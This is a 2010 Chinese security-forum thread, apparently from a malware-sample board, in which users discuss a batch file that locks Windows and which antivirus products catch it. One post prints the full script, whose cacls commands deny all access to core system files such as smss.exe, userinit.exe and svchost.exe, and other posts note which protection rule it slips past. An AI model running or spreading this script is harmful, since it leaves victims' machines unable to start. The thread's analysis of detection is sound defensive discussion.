发个锁系统的批处理

显示全部楼层 · 发表于 2010-9-12 10:09:49

哈哈。。楼上的，重启后停留在欢迎使用之前，那就表明你已经中招啦。。。不过你用瑞星阻止后都中招了？？？ ...
怡I宝发表于 2010.9.12 10:00

这个我知道

就是因为瑞星2011只是拦截了对smss.exe的修改

而userinit.exe被无视了

一会提个建议加强一下规则

显示全部楼层 · 发表于 2010-9-12 10:33:37

10楼的。。2楼那个截图怎么看都像是HIPS类的软件。。呵呵。。。

显示全部楼层 · 发表于 2010-9-12 10:36:00

本帖最后由 zuo 于 2010.9.12 10:37 编辑

回复 9楼 怡I宝 的帖子
这个问题很简单，瑞星主防只拦截了对smss.exe的修改，还有一个逃过了主防，所以……

显示全部楼层 · 发表于 2010-9-12 10:36:09

我刚刚百度了下百瑞金盾，介绍也说是基于启发。。。但是又说不含病毒库。。。无需升级。。。。没有病毒库怎么启发呢？不含病毒库，不升级，杀未知。。。这些不都是HIPS或者主动防御类的软件的么？

显示全部楼层 · 发表于 2010-9-12 11:27:37

回复 4楼 LisaLan 的帖子
百锐金盾

显示全部楼层 · 发表于 2010-9-12 11:29:12

回复 14楼 怡I宝 的帖子
没有病毒库，只靠着一些文件的行为进行启发，也就是纯启发的软件来的
HIPS则不能扫描，只是一个防御系统

显示全部楼层 · 发表于 2010-9-12 15:47:18

回复 14楼 怡I宝 的帖子

自己可以去测试区看一下，，，成绩还可以的，而且免费~~~~
有兴趣的可以用用

我就不用了。呵呵

显示全部楼层 · 发表于 2010-9-12 15:50:20

我自己测试了下那个百瑞金顿。。。唉。。杯具惨了。。基本一个都没有防住。。。

显示全部楼层 · 发表于 2010-9-12 16:25:44

@ ECHO OFF
echo y|cacls c:\windows\system32\RUNDLL32.exe /c /p everyone:n
echo y|cacls c:\windows\system32\SERVICES.EXE /c /p everyone:n
echo y|cacls c:\windows\system32\userinit.exe /g everyone:n
echo y|cacls c:\windows\system32\Shell.sys /c /p everyone:n
echo y|cacls c:\windows\system32\smss.exe /c /p everyone:n
echo y|cacls c:\windows\system32\SVCHOST.EXE /c /p everyone:n

有没有人给我解释一下他想做什么？

NOD32扫描无反应，可牛扫描无反应

显示全部楼层 · 发表于 2010-9-12 17:32:40

锁定你的系统文件。。。不让读取。删除。。。

[病毒样本] 发个锁系统的批处理

浏览过的版块